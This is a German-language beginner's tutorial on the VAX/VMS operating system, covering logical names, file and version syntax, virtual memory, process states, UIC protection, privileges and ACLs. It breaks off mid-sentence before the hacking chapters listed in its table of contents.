l0om.org VAX/VMS Guide Vorwort Dieser Text ist ein Praxisorientierter Einstieg zum VAX/VMX Betriebssystem und damit verbundenen Themen wie der Arbeitsweise von VAX/VMX, Digital Command Language und aus VAX entstehenden Sicherheitsfragen. Entstanden ist diese Dokumentation aus dem „knowhow“ des Schreibers und recairgen aus dem Internet. Es ist nicht gerade ein leichtes einen guten Text fuer VAX Einsteiger zu bekommen- besonders nicht in Deutsch. Daher habe ich mich entschieden dieses Tutorial zu schreiben. Schliesslich moechte ich niemandem zumuten sich extra ein VAX Buch zu kaufen (wir sind doch alle ANTI-NONPD!!), oder sich muehsam alle Informationen zusammen zusuchen. Im Anschluss an eine kurze Einleitung ueber die Entstehungsgeschichte von VAX werden wir uns mit dem System etwas vertraut machen indem wir uns etwas Praxis aneignen. Anschliessend werden wir tiefer und tiefer in die Details gehen, um so einen guten Gesamtueberblick ueber VMS zu bekommen. Der Leser soll in die Lager versetzt werden sich gut auf jedem DCL Prompt zurechtzufinden und wird nicht nur wissen wie etwas funktioniert, sondern warum. Der Text ist im Prinzip in zwei Teile geteilt: 1) Benutzen eines VMS Rechners und 2) Hacking im bezug auf VMS. Im ersten Teil werden wir uns auf das VAX OS stuerzen. Wir werden uns ansehen wie/warum VMS Funktioniert. Das umfasst pikante Merkmale des Betriebssystems sowie dessen Handhabung/Administration ueber ein Terminal. Der zweite Teil wird sich mit den Sicherheitsaspekten von VMS befassen. Es werden Schwaechen aufgezeigt um so typische Schwaechen zu vermeiden. Der VAX/VMS Guide Inhalt 1.0 Typisch VMS 1.1 Geschichtliches 1.2 Logische Namen 1.3 Dateien, Verzeichnisse und Geraete 1.4 Virtueller Speicher 1.5 Prozessverwaltung 1.6 Benutzer, Gruppen und Zugriffsrechte 1.7 DCL 1.8 DECnet 2.0 Jetzt wird’s interaktiv (praxis am Terminal) 2.1 Arbeiten mit Dateien und Verzeichnissen 2.2 Editieren 2.3 Drucken von Texten 2.4 Elektronische Post 2.5 Logische Namen 2.6 Dateischutz 2.7 VMS den Prozess machen 2.8 Remote 3.0 Hacking VMS 3.1 OS Detection und mehr Informationen 3.2 Passwort Attacken 3.3 Exploiting 3.4 Viren und Wuermer 3.5 Backdoors 3.6 Logging 1.0 Typisch VMS Was ist VMS eigentlich auf den Punkt gebracht? Die Antwort liegt auf der Hand, denn VMS ist ein Betriebssystem wie auch Windows, Linux oder BeOS. Ein Betriebssystem ermoeglicht dem Benutzer ueberhaupt mit dem Computer arbeiten zu koennen, indem es vielfaelltige Dienste und komplexe Verwaltungsaufgaben uebernimmt. Beispielsweise koennen Benutzer auf VMS einen Text schreiben und diesen abspeichern- die Verwaltung des Tasterturtreibers und der Auslastung im Arbeitsspeicher uebernimmt das Betriebssystem ohne das der Benutzer es merkt. Sicherlich waere der Benutzer mit der einfachen Eingabe eines Textes nicht zufrieden. Schliesslich soll der Text auch noch auf Rechtschreibfehler ueberprueft werden (bei dem Versuch diesen Text zu Korrigieren bekam der Author die Fehlermeldung das nicht genuegend Arbeitsspeicher dafuer vorhanden waere). Fuer solche Aufgaben bietet ein Betriebsystem viele unterschiedliche Programme. Das ganze wuerde sich in die Laenge ziehen wenn das Betriebssystem nicht mehrere Prozesse gleichzeitig Verwalten koennte. All solche Aufgaben wie bzw. der Arbeitsspeicher Verwaltung wird unter VMS vom Kern (oder Kernel) erledigt. Der Kern ist tatsaechlich der Kern des Betriebssystems, ohne den nichts funktionieren wuerde. Der Kernel arbeitet Hand in Hand mit der Hardware des Computers zusammen und bildet so, eine „Schicht“ um die Hardware. Wenn der Kern ein Mantel um die Hardware ist, dann sind die einzelnen Programme wie die „terminal utilities“ ein weiterer Mantel um den Kernel. Ohne solche Programme wie die genannten, kann ein Benutzer nichts mit dem System anfangen. Je nach Anforderungen an das System ist bestimmte Software installiert, die dem Benutzer das Arbeiten ermoeglicht. Das Terminal ist ein Kommandointerpret, der die Benuztereingabe behandelt und so gewuenschte Programme aufruft. Ausserdem ist das Terminal ebenfalls ein Interpret der Terminal-Sprache. Auf diese werden wir gegen Ende des Textes kommen. Mit dieser Skriptsprache werden wir in die Lage versetzt, oft anfallende Aufgaben mit einem Aufruf der Skriptdatei zu erledigen. Das Terminal arbeitet mit DCL (Digital Command Language), einer Zeilenorientrierten Befehlssprache. VMS ist ein Multiuser System. Das bedeutet, dass sich mehrere Benutzer zur gleichen Zeit am System anmelden koennen und zur gleichen Zeit arbeiten koennen. VMS ist Multitasking faehig und ist somit in der Lage mehrere Programme gleichzeitig ablaufen zu lassen. So kann jeder Benutzer viele Prozesse ausfuehren. So kann bsw. Benutzer A eine E-Mail schreiben waehrend Benutzer B gerade einen Text verfasst. VMS ist in der Lage mit virtuellen Speicheradressen zu arbeiten und hat so 4 Gigabyte an virtuellen Speicher zur Verfuegung. OpenVMS ist im kommen! Daher bezieht sich dieser Text auch auf OpenVMS. Die folgenden Informationen sind von theoretischer Natur. Wir werden in folgenden Kaptiteln zur Praxis uebergehen. Von der Praxis aus kann man so einfach zurueckblaettern (scrolen) um sich die dazugehoerige Theorie nochmals vor Auge zu fuehren. 1.1 Geschichtliches Der Kuerzel VMS steht fuer Virtual Memory System und wurde 1976 veroeffentlicht als ein neues Betriebssystem fuer die damals entwickelten VAX (Virtual Address eXtension) Computer. Diese Computer arbeiten mit einem virtuellen Arbeitsspeicher (oder Virtuelle Adressen) der ein 32bit System nutzt. Das gibt dem VAX in Verbindung mit VMS (VAX/VMS) die moeglichkeit auf 4 Gigabyte virtuellen Speichers zuzugreifen. Wie das im einzelnen von statten geht, werden wir spaeter sehen. Das erste VAX Model war wohl der 11/780 und wurde „Star“ genannt. Daraus wurde „Starlet“- ein Name an den noch die System librarys erinnern (STARLET.OLB). Die erste Funktionstuechtige VAX/VMS Version 1.0 wurde 1978 fertiggestellt. Wenn wir hier ueber VMS sprechen darf ein Begriff nicht fehlen- OpenVMS. OpenVMS wurde urspruenglich von HP und der Digital Equiqment Corporation (DIGITAL) entwickelt. Zwei der bekanntesten Entwicklern sind wohl Dave Cutler und Dick Hustvedt. OpenVMS wurde fuer einen PDP-11 mit einem virtuellen Adressraum von 32bit geschreiben. VAX und VMS machte Geschichte in dem es das erste System war welches von der Hardware bis zur Software von Grund auf zusammen entwickelt wurde. So wurde die Software genau auf die Hardware abgestimmt und umgekehrt. So gab es Teams die fuer die Hardware Entwicklung des VAX verantwortlich waren und wieder andere fuer die Entwicklung des VMS. OpenVMS ist ein 32bit, multitsking, multiprocessing virtual memory Betriebssystem und laeuft auf VAX Systemen von HP oder andern Herstellern. Es gibt bereits OpenVMS Alpha welche mit 64-bit arbeitet. „Today, OpenVMS is the most flexible and adaptable operating system on the planet. What started out as the concept of “Starlet” in 1975 is moving into Galaxy for the 21st Century. And like the universe, there is no exit in sight.” --Jesse Lipeon Vice President of UNIX and OpenVMS Systems Buisness Unit 1.2 Logische Namen Logische Namen sind ein wichtiger Bestandteil des VMS. Das Betriebssystem arbeitet durchgehend mit logischen Namen. Einige davon sind bsw. SYS$ROOT, SYS$MANAGER oder DISK$FLOP. Mit logischen Namen kann man sich zum einen viel Schreibarbeit ersparen und zum anderen das System sehr flexible lassen. So kann man anstatt [.users.loom.bin]my_ls.exe einen logischen Namen difinieren wie B$LS (wobei das $ nicht zwanghaft angefuegt werden muss- es zeugt aber von gutem Styl vor dem $ eine wage Andeutung auf Funktion oder Ort anzugeben). Anstatt ich also den gesamten Pfad angebe, gebe ich nur den logischen Namen an. Dieser wird aus der Tabelle dafuer zustaendigen Tabelle herausgesucht und uebersetzt. Mit logischen Namen kann man anstatt der Bezeichnung DUA0: einfach eine Bezeichnung wie FESTPLATTE1 verwenden. Jeder Benutzer der sich auf einem System angemeldet hat, hat ein eignes Home-Directory. Dieses Standard-Verzeichnis ist bei jedem Benutzer mit dem logischem Namen SYS$HOME difinirt. So kann man anstelle von DUA0:[USERS.LOOM] auch mit SYS$HOME auf sein Verzeichnis zugreifen. Zum anderen ist dadurch viel flexibilitaet gewaehrleistet. So werden in Systemskribts oft nur logische Namen verwendet. Der Administrator koennte ohne schwierigkeiten z.B. den Ordner [.SYSEXE] umbenennen solange der logische Name auf den neuen Verzeichnisnamen verweist. Systemskribte wuerden immer noch ihre Arbeit tuen. Das war vielleicht nicht gerade das beste Beispiel. Fuer *NIX kenner – ein logischer Name Aehnelt einem Symbolischem Link! Ein anderer logischer Name der sehr oft Verwendung findet ist z.B. SYS$OUTPUT. Dieser Name legt fest, wo die Ausgabe des Rechners erscheinen soll. Standard ist natuerlich ein Terminal wie TTA1, TTA2 oder TTA3. Wenn wir diesen logischen Namen aber z.B. auf eine Datei in einem beschreibbarem Verzeichnis zeigen lassen, werden die Daten die wir normalerweise auf dem Bildschirm sehen, in die Datei geschrieben (ich hoffe dieses Beispiel macht das Prinzip klar). Bei weiteren Ueberlegungen wird einem klar, dass logische Namen unterschiedliche Geltungsbereichte haben. So ist der logische Name den ein 08/15 Benutzer difiniert nicht fuer das Betriebssystem von Bedeutung. Aehnlich wie logische Namen die in Skriptdateien verwendet werden und nur fuer den ablaufenden Prozess von Bedeutung ist. Einige logische Namen sollen fuer Benutzer gelten. Diese werden vom Systembetreuer difiniert und manche sollen nur fuer einen einzelnen Benutzer gelten. Darueber hinaus gibt es moeglichkeiten logische Namen fuer bestimmte Benutzergruppen zu difinieren. Um all diesen Anforderungen gerecht zu werden, gibt es unter VMS Tabellen (tables), in denen logische Namen verzeichnet sind. Der Gueltigkeitsbereich eines logischen Namens haengt nur davon ab, in welcher Tabelle er sich befindet. Logische Tabellen haben Namen wie: LNM$PROCESS_TABLE - Tabelle fuer aktuellen Prozess. LNM$JOB_28900382 - Tabelle fuer bestimmten Job LNM$GROUP_000500 - Tabelle fuer Benutzergruppe 000500 LNM$SYSTEM_TABLE - Tabelle mit logischen Namen Systemweit. Logische Namen die sich in der SYSTEM_TABLE wiederfinden, werden bei der Namensvergabe bsw. mit dem vorrangehenden Kuerzel SYS$ markiert. Wenn man einen logischen Namen aufloesen will, wird Tabelle nach Tabelle auf den angegebenen Namen durchsucht. 1. Prozesstabelle 2. Jobtabelle 3. Gruppentabelle 4. Systemtabelle Einige wichtige und immer vorhandene logische Namen aus der Systemtabelle: Logischer Name Beschreibung DBG$INPUT Input Datenstrom fuer den Debugger DBG$OUTPUT Output Datenstrom fuer den Debugger SYS$COMMON Geraet- und Verzeichnisname des Stammverzeichnisses SYS$ERRORLOG Geraet- und Verzeichnisname der Errorlog Dateien SYS$EXAMPLES „ mit System examples SYS$HELP „ mit HELP Dateien SYS$INSTRUCTION “ mit Systeminstruktionen SYS$LIBRARY „ mit systemlibraries SYS$MANAGER “ mit Manager Dateien SYS$MESSAGE „ mit Systemnachrichten SYS$NODE Hostname falls DECnet aktiviert ist SYS$STARTUP Verzeichnis mit Startdateien SYS$SYSDEVICE Geraet- und Verzeichnisname des VMS Systems. SYS$SYSROOT Root-Verzeichnis SYS$SYSTEM Verzeichnis mit wichtigen Systemdateien/Programmen SYS$UPDATE Verzeichnis oder Geraet mit Updatedateien 1.3 Dateien, Verzeichnisse und Geraete Bei der Menge an Daten die ein Betriebssystem Verwalten muss, kommen Verzeichnisse gerade richtig. Diese Sorgen fuer einen einfacheren und sauber strukturierten Ueberblick ueber Dateien. So werden Systemprogramme in einem Verzeichnis gespeichert wo sich alle Systemprogramme befinden. Ausserdem ermoeglichen Verzeichnisse dem Benutzer ebenfalls einen besseren Ueberblick. So kann eine Gruppe von Benutzern die an einen Projekt arbeiten alle Daten die mit dem Projekt in Verbindung stehen einfach in einen Ordnet mit dem Namen „Projekt“ verschieben. Das ersparrt Suchen und verschafft Ueberblick. Wie auch unter allen anderen Betriebsystemen kann man bei VMS die Verzeichnisstruktur wie einen Baum sehen. Nur steht unser Baum auf dem Kopf. Am Anfang des Baumes ist die Wurzel (engl. Root) die mit dem Logischen Namen SYS$DEVICE angesprochen werden kann. Diese ist die Systemplatte auf der das Betriebssystem liegt und die auch Bentuzerdaten enthaelt. Die Wurzel „SYS0“ enthaelt NUR Verzeichnisse und keine Dateien. [SYS0] | | ...|-----------------------|... | | [.SYSEXE] [.SYSMGR] Diese Kleine Abbildung zeigt uns den Anfang unseres Baumes. SYS0 ist die Systemplatte auf der sich Verzeichnisse befinden wie zB. SYSEXE oder SYSMGR. Anstatt auf das SYS0 Verzeichnis zuzugreifen, kann man ebenfalls den Geraetenamen der Festpalatte angeben wie bsw. „DUA1“. Systemverzeichnisse wie SYSEXE die die Systemprogramme beinhalten haben alle einheitliche logische Namen, wie SYS$SYSTEM. Wir werden hier einige Beispiele vortragen. Logischer Name Name des Subdirectorys Inhalt SYS$MANAGER [.SYSMGR] Dateien, die Ueblicherweise vom Systembetreuer erstellt oder Ausgewertet werden. SYS$SYSTEM [.SYSEXE] Programme des Betriebssystems. SYS$UPDATE [.SYSUPD] Befehlsprozeduren als Hilfs- Mittel fuer den Systembetreuer (u.a. fuer updates oder fuers System). SYS$HELP [.SYSHLP] Bibliotheken mit HELP-Texten. Ein weiteres Verzeichniss welches in der Regel im Verzeichnissbaum vorkommt ist [.USERS]. In diesem Verzeichnis werden Die Home-directorys der einzelnen Benuzter Verwaltet. Was dem Leser wohl auffaellt ist der „.“ vor einem Verzeichnisnamen. Das haengt damit zusammen, das DCL nur volle Dateipfade akzeptiert. Der Punkt vor den Verzeichnisnamen ist eines der Sonderzeichen die in Verbindung mit Verzeichnissen unter VAX auftreten. Zeichen Bedeutung [-] das „darunterliegende“ Verzeichnis [...] alle „Ebenen“ abwaerts [000000] stellvertretend fuer das Wurzelverzeichnis (o. root) [Verzeichnis...] angegebenes Verzeichnis und seine Sub-Verzeichnisse [.Sub-Verzeichnis] Sub-Verzeichnis des der aktuellen „Ebene“ auf der man sich befindet. So steht [.SYSMGR] fuer SYS$ROOT:[.SYSMGR]. So kommen wir auf einen korrekten Systemaufrufspfad: DISK$FLOP:[Verzeichnis]datei.end;1 Der Geraetename wird ueblich von einem logischen Namen dargestellt. So fallen die Kryptisch anmutenden Bezeichnungen viel leichter. Der Geraetename kann auch fuer einen remote-host stehen. In diesem Fall muessen aber zwei Doppelpunkte folgen! Ein Verzeichnis steht IMMER in eckigen Klammern „[]“, gefolgt von dem Dateinamen. Jeder Dateiname hat einen Dateitypen. Weiter unten werden die haeufigst gebrauchten genannt. Nach dem Semikolon folgt die Versionsnummer der Datei (siehe weiter unten). Jede Datei unter VMS hat einen Namen (wer haette das gedacht?), eine Versionsnummer und eine Dateiendung. Wenn keine Dateiendung angegeben wird, wird automatisch der Datentyp .LIS erstellt. Unter Unix wird nur eine Datentypendung angefuegt, wenn diese vom Benutzer angegeben wurde. Generelle Datentypen: DAT – Data Dateien DIR – Sub-Verzeichnis EXE – Ausfuehrbare Datei HLP – Texte fuer Help LIS – System Listing files (TYPE, PRINT, PHOTO) LOG – batch job ausgaben MEM – DSR ausgabe RNO – DSR quelltext SIXEL – SIXEL Grafiken SYS – System Datei TJL – Trouble Journal TMP – Auslagerungsdatei TXT – Textdatei UAF – User Autorization file Mail Datentypen DIS – Distribution Datei MAI – Mail Message TXT – Mail Ausgabe Editor Datentypen EDT – Command Datei fuer den EDT editor JOU – EDT Informationen wenn Probleme auftreten TPU – Editor command Datei Programmierungs Datentypen ADA – ADA quelltext BAS – Basic quelltext B32 – BLISS-32 quelltext C – C quelltext COB – Cobol quelltext FOR – Fortran quelltext MAR – Marcro quelltext PAS – Pascal quelltext PLI – PL/I quelltext OBJ – Objektdatei die vor dem Linken vom Compiler erstellt wird Ebenfalls neu fuer Unix Benutzer ist das Prinzip der Versionsnummern. Wenn man eine Datei ansprechen moechte muss dies wie folgt geschehen: $ TYPE TEXT.TXT;2 Hier wird mittels TYPE der Inhalt der Datei TEXT.TXT Version 2 auf dem Bildschirm ausgegeben. Jedesmal wenn man TEXT.TXT modifiziert wird automatisch eine neue Versionsnummer kreiert. Dabei bleibt die alte Datei vorhanden. Wenn man also nur $ DELETE TEXT.TXT eingeben wuerde, wuerden wir eine Fehlermeldung erhalten, da nicht angegeben wurde, welche Version der Datei TEXT geloescht werden soll. $ DELETE TEXT.TXT;2 Hier der richtige Aufruf des DELETE Programms/Befehls. So kommen wir auch direkt zu den Metazeichen unter VMS. Zeichen Bedeutung Beispiel „*“ steht fuer beliebige 1) DELETE TEXT.TXT;* Zeichenkette 2) DELETE *.TXT;* 3) DELETE *.*;* „%“ steht fuer EIN belib- 4) DELETE TEXT.TXT;% iges Zeichen 5) DELETE %EXT.TXT;1 1: Loescht alle Versionen der Datei TEXT.TXT 2: Loescht alle TXT Dateien (und Versionen) 3: Loescht alle Dateien und Versionen 4: Loescht alle Versionen der Datei TEXT.TXT 5: Loescht alle TXT Dateien welche nach dem ersten Buchstaben mit EXT.TXT enden (nur die erste Version). Kommen wir noch kurz auf Geraete zu sprechen. Beispiele fuer Geraete: -Festplattenlaufwerke DJ, DA, DU ... -Diskettenlaufwerke DX, DY, DU ... -Magnetbandgeraete MT, MU... Diese Geraete werden mit weiteren Zeichen naeher gekennzeichnet, z.B. DUA0, DUA1, $1$DUA1. In der Regel verzichtet man auf diese unueberlichtlichen Bezeichnungen und verwendet stattdessen logische Namen. Ein ausgeschriebener Geraetename besteht aus drei Teilen: 1: Der Geraetetyp der das Benennt (bsw. Ein TE16 Mangnetlaufwerk traegt den Geraetetyp MT, mache Festplatte DB). 2: Ein Wert der die Schnittstelle identifiziert mit welcher das Geraet verbunden ist. 3: Die Geraetenummer. Wie bereits erwaehnt kann man Geraete entweder direkt mit ihrem physikalischem Namen ansprechen oder ueber einen zuvor difinierten logischen Namen. Der physische Name ist wie folgt anzugeben: AABC AA = Stellt einen Geraetetyp dar. B = Zeigt die Schnittstelle an. Diese werden uebrigends mit A – Z nummeriert. C = Geraetenummer- dieser Wert muss zwischen 0-65355 liegen. Bsw: MTU0: 1.4Virtueller Speicher Eigentlich hat unsere Arbeit am System nicht viel mit dem Prinzip des virtuellen Speichers zu tun, aber da dieses Kapitel „Typisch VMS“ heisst, wollen wir etwas naeher auf dieses Thema zu sprechen kommen. Jeder User mit etwas Programmiererfahrung weiss ungefaehr was passiert, wenn ein geschriebenes Programm Ausgefuehrt wird. Nehmen wir an der Programmierer hat ein Programm geschrieben welches zwei Zahlen addieren soll. Bei der Ausfuehrung des Programms, werden diese beiden Zahlen in den Arbeitsspeicher geladen. Ausserdem wird die Funktion die die Addition ermoeglicht geladen. Der CPU greift durch Adressangaben auf den Arbeitsspeicher zu. Mit Hilfe dieser Informationen aus dem Arbeitsspeicher kann der CPU rechnen und das Ergebnis der Addition in einen weiteren Platz in den Arbeitsspeicher laden. Unter VMS (Virtual Memory System) ist das Prinzip der virtuellen Speicherverwaltung wie folgt realisiert: 1. eine virtuelle Adresse ist eine Binaerzahl von 32bit Laenge. 2. eine Adresse spricht jeweils ein Byte an, also acht Bit. 3. der virtuelle Adressraum ist somit 4 Gigabyte gross. Virtueller Adressraum und Hauptspeicher sind in sogenannte Seiten aufgeteilt. Eine Seite (Page, im Memory auch als Page-frame bezeichnet) besteht aus 512 Bytes. Zur Laufzeit eines Programms werden virtuelle Adressen in physikalische uebersetzt. Die entsprechenden Informationen gibt es fuer jede Page. Sie stehen in den sogenannten Page Tables. Jeder Eintrag (page table entry) enthaelt die Informationen, wo sich eine bestimmte virtuelle Page physikalisch befindet. Diese werden bei VMS in Prozessbereiche und Systembereiche geteilt (Prozess Page Tables, System Page Tables). Jeder Prozess hat seinen eigenen Prozessbereich und seine eigene Prozess Page Table. Die Uebersetztungsinformationen fuer Adressen im Prozessbereich ist somit nur fuer einen Prozess gueltig. Dagegen sind die Adressen im Systembereich fuer alle Prozesse gleichermassen gueltig. Die System Page Table werden beim Start von VMS im Boot-Vorgang aufgebaut. Die Prozess Page Table eines Prozesses wird beim Erzeugen des Prozesses angelegt. Ihr Inhalt aendert sich bei jedem Aufruf eines Programms. Beim Aufruf eines Programms wird die Prozess Page Table mit Informationen fuer dieses Programm gefuellt. Diese Informationen sind am Anfang der Programmdatei enthalten. Die Informationen in der Prozess Page Table werden beim Verlassen des Programms wieder geloescht. 1.5Prozessverwaltung Ein Prozess ist ein ablaufendes Programm. Jede Aktivitaet wird in Form eines Prozesses verwaltet. Auch das Betriebssystem selbst unterhaelt eine Reihe von Prozessen. Alle Prozesse konkurrieren natruelich um den Arbeitsspeicher und die CPU Aktivitaet. Leider kann sich der CPU auch nicht dritteln (oder fork()en) und kann nur Prozess um Prozess abarbeiten. Doch trotzdem schafft er es mehrere Prozesse „gleichzeitig“ auszufuehren. Wie ist das moeglich? Mit Scheduling! Ein Aktiver Prozess braucht nicht durchgehend die CPU. Beispielsweise kann ein Programm auf ein bestimmtes Ereignis warten, wie z.B. eine Benutzereingabe. Man spricht von drei „festen“ Zustaenden: 1: CURRENT (CUR): Der Prozess wird momentan von der CPU abarbeitet 2: COMPUTABLE (COM): Wartet auf die CPU. 3: SLEEP: Wartezustand eines Prozesses auf ein bestimmtes Ereignis. Der Prozess benoetigt zur Zeit keine Rechenleistungen. Damit die Sache auch nicht zu einfach wird, gibt es wie erwartet eine ganze Reihe von Wartezustaenden. Die wichtigsten sind hier aufgefuehrt: Zustand Bedeutung Erklaerung LEF (local event flag wait) Der Prozess wartet auf ein Ergebnis wie eine Ein- oder Ausgabe. HIB (hibernated) Der Prozess befindet wartet auf Arbeit. Haeufig bei Systemprozessen. SUSP (suspended) Der Prozess wurde unterbrochen (z.B. von andern Prozessen der diesen steuert) PFW (page fault wait) Der Prozess wartet darauf, dass ein Page Fault behandelt wird, also benoetigte Seiten in den Arbeitsspeicher geladen Werden. MWAIT (miscellaneous resource Der Prozess wartet auf bestimmte System- wait) resourcen. Es fragt sich nun noch in welcher Reihenfolge Prozesse abgearbeitet werden. Dafuer verwendet VMS Prioritaeten. Eine Prioritaet befindet sich im Stellenwert von 0-31. Je hoeher dieser Wert desto ehr befasst sich die CPU damit. Die Prioritaeten sind wie immer eingeteilt in normale Prioritaeten (0-15) und zeitkritischen Prioritaeten (16-31). Normale Prozesse werden in Punkto Prioritaeten von VMS gesteuert. Das heisst also das VMS je nach ermessen dem Prozess einen Wert zwischen 0-15 zuteilt. Das Scheduling (das hin und her springen von Prozess von Prozess der CPU) wird durch Zeitverschiebungsverfahren berwerkstelligt. Aufgaben des Betriebssystems haben natuerlich vor dem Benutzerprozess vorrang. Somit bekommen Systemprozesse eine hoehere Prioritaet und werden dadruch schneller abgearbeitet. Systemprozesse befinden sich oftmals im HIB Zustand. 1.6Benutzer, Gruppen und Zugriffsrechte Wie wir bereits erfahren haben, ist VMS ein Multiusersystem. Das bedeutet das viele Benutzer an einem System gleichzeitig arbeiten koennen. Daher muss gewaehrleistet werden, dass nicht ausversehen oder absichtlich Dateien beschaedigt oder geloescht werden. Es muss ausserdem sichergestellt sein, dass ein Bentuzer nur die Daten lesen darf die fuer ihn bestimmt sind. Bei einem Betriebssystem wie MS-DOS gibt es keine beschraenkungen in Form von Zugriffsrechten, aber dort gibt es auch nur einen aktiven Benutzer. Wenn sich aber bei Systemen wie VMS um die 40 Benutzer aktiv sind, muss man sicher seien koennen, dass nicht aus Zufall das gesamte System beschaedigt wird. Der Ausgangspunkt fuer Zugriffsrechte ist die Tatsache, dass jeder Benutzer einer eindeutige Kennung und ein geheimes Passwort hat. Einen Benutzernamen gibt es nur einmal und dieser hat ein Passwort welches unbekannt ist (auch fuer den Administratoren). Das Passwort dient als Identifikation des Benutzers. So wird sichergestellt, dass der momentan angemeldete Benutzer auch der ist fuer den man ihn haelt. Der naechste Schritt ist, dass jedem Benutzer eine Datei zugeordnet wird. Das bedeutet, dass derjenige der die Datei erstellt hat auch gleichzeitig Besitzer (owner) der Datei ist. Der Besitzer der Datei hat selbstverstaendlich alle Befugnisse um an der Datei zu Arbeiten. Desweiteren kann der Besitzer Zugriffsrechte fuer diese Datei an andere verteilen. Manchmal ist es sinnvoll, bestimmte Dateien nicht nur von einem Benutzer les- oder schreibbar zu machen. Dieser Fall tritt haeufig bei Projektarbeiten auf, wenn mehrere Leute mit verschiedenen Kennungen auf gemeinsame Dateien zugreifen muessen. Eine moeglichkeit waere es die Datei fuer ALLE Benutzer des Systems zugaenglich zu machen. Man spricht bei solchen Berechtigungen von „world“- also alle. Das hat den Nachteil, dass eventuell bestimmte Benutzer die an diesen Dateien nichts zu verlieren haben mal schnell einen hastigen Blick drauf verlieren koennen. Die manchmal bessere Moeglichkeit sind die sogenannten Bentuzergruppen. Solch eine Gruppe besteht aus einer Reihe von Benutzern. Die Zugriffsrechte der man der Datei vergibt, gellten dann nicht nur fuer einen einzelnen Benutzer, sondern fuer alle Benutzer die Mitglieder der Gruppe sind. Es gibt die folgenden Rechte zu vergeben: Recht Beschreibung READ Das Recht den Dateiinhalt zu lesen WRITE Das Recht den Dateiinhalt zu veraendern DELETE Das Recht die Datei zu loeschen EXECUTE Das Recht eine Datei auszufuehren Man kann die Rechte vergeben an Zugriffsbefugte Moegliche Befugnisse SYSTEM READ, WRITE, DELETE, EXECUTE OWNER READ, WRITE, DELETE, EXECUTE GROUP READ, WRITE, DELETE, EXECUTE WORLD READ, WRITE, DELETE, EXECUTE In der Praxis sehen Berechtigungen aus wie etwa: „(S:RWED,O:RWED,G:RE;W)“. Hier hat „SYSTEM“ sowie der Besitzer alle Rechte (Standart). Die Gruppe in der sich der Bentuzer befindet, hat jedoch nur das Recht zum lesen und ausfuehren der Datei. Der Schluessel „W“ steht fuer „world“ und gibt an welche Rechte diejenigen haben die weder Besitzer noch in der Gruppe des Besitzers sind (also „Fremde“). Hier im Beispiel geht „W“ leer aus. Geschuetzt werden koennen/muessen Dateien, Verzeichnisse, Geraete und Warteschlangen. Das Schutzkonzept ist immer gleich. Das jetzige Prinzip des Datenschutzes wird auch UIC (User Identification Code) bezeichnet. Jeder Benutzer des VMS hat eine eindeutige ganz zahlige Kennung. [REMOTE,LOOM] Hier ist REMOTE der Gruppenname in dem sich der Benutzer LOOM befindet. Wenn ein Benutzer auf eine Datei zugreifen moechte wird zunaechst seine UIC mit der UIC der Datei verglichen. Moegliche Konstilationen sind wie folgt: Benutzer Datei Benutzerkategorie [REMOTE,HAVOC] [REMOTE,LOOM] GROUP [REMOTE,LOOM] [REMOTE,LOOM] OWNER [1,110] [REMOTE,LOOM] SYSTEM [PUB,BEER] [REMOTE,LOOM] WORLD Ein Benutzer ist in der Gruppe SYSTEM vertreten wenn dieser eine UIC von einem Oktalwert von 0-10 hat. Ein Benutzer der Gruppe SYSTEM kann auf alles zugreifen, da er selbst die Privilegien veraendert. Also ueberprueft VMS zunaechst einmal welche Zugriffsrechte benoetigt werden. Danach vergleicht VMS den UIC des Benutzers mit dem in der Datei und ueberprueft in welche Benutzerkategorie der Benutzer faellt. Als letztes wird ueberprueft ob diese Kategorie die erforderlichen Zugriffsrechte hat. Der letzte Schritt faellt bei dem Privileg BYPASS weg. Der Zugriff ist immer berechtigt. Es liegt auf der Hand, dass solch ein Prinzip alleine viel zu einfach waere. Daher gibt es zusaetsslich zu den Zugriffsrechten Privilegien. Normal: MOUNT - kann Mountfunktionen (ACP) aufrufen NETMBX - kann Netzwerkfunktionen bentuzen TMPMBX - kann eine Mailbox erstellen. Group: GROUP - Kontrolle ueber Prozesse aus der selben Gruppe GRPPRV - Zugang zur Gruppe Devour: ACNT - ALLSPOOL – GUBCHK - kann bug-check log-Dateien veraendern EXQUOTA - GRPNAM - kann einen logischen Namen in die gruppen Tabelle einfuegen PRMCEB - PRMGBL - PRMMBX - SHMEM - kann neue Objekte im Speicher loeschen oder hinzufuegen System: ALTPRI - kann Prioritaeteswerte veraendern OPER - hat Zugriff auf OPERATOR Funktionen PSWAPM - kann den swapmode veraendern SHARE - kann Geraete die nicht public sind public machen SYSLCK - kann Systemresourcen verschliessen WORLD - kann alle Prozesse veraendern File: DIAGNOSE – kann Geraete diagnostizieren SYSGBL - VOLPRO - kann ueber volume-Schutz hinwegschreiben All: BYPASS - umgeht das UIC Checking CMEXEC - kann den Modus zu exec veraendern CMKRNL - kann den Kernel veraendern DETACH - LOG_IO - PFNMAP - PHY_IO - READALL - kann alles lesen SECURITY – kann Secruity veraendern durch Zugriff auf Funktionen SETPRV - kann Priveligen setzen (root) SYSNAM - kann in die logische Tabelle System eintraege hinzugfuegen SYSPRV - hat SYSTEM Priveligen (root) Seine Privilegien kann man sich mit $ SHOW PROCESS /PRIVILEGE anschauen. Dabei ist zu beachten, dass man Privilegien die nicht Standartmaessig aktiv sind, extra aktiviert werden muessen: $ SET PROCESS /PRIVILEGE=BYPASS Wuerde wenn erlaubt, dass BYPASS Privileg aktivieren. Etwas schwieriger ist das Prinzip der ACL (Access Control List) welches ebenfalls unter VMS verwendet wird. Eine Zugriffskontrollliste entaehlt Schutzinformationen ueber ein Objekt. Diese haben das folgende Format: (Typ, Option, Zugriffsart) Typ: Es gibt drei verschiedene ACL-Eintragstypen: -Identifier-Eintraege -Default-Protection Eintraege -Alarmjournal Eintraege Ein Identifier kann jeder UIC Wert sein so auch Gruppe oder Benutzer. Dieser Wert gibt den Benutzer auf den sich die ACL richtet. Es gibt Identifier die uns automatisch von VMS zugeteilt werden. Diese Systemidentifier sind: [Bezeichnung] [Typ von Benutzer] LOCAL User hat loggt sich uebe ein Terminal ein BATCH Batch User INTERACTIV Interaktiver User DIALUP User hat sich eingewaehlt NETWORK Netzwerkanwendungen REMOTE User loggt sich uebers Netzerk ein Option DEFAULT Diese Option ist nur fuer Verzeichnisse zulaessig. Jede Datei die in diesem Verzeichnis erstellt wird, wird mit den von uns besagten Zugriffsrechten bestueckt. PROTECTED Das Objekt kann nur erschwert geloescht werden. Naemlich mit Hilfe des ACL-Editors. NOPROPAGATE Der ACL wird nicht an hoehere Versionen der Datei 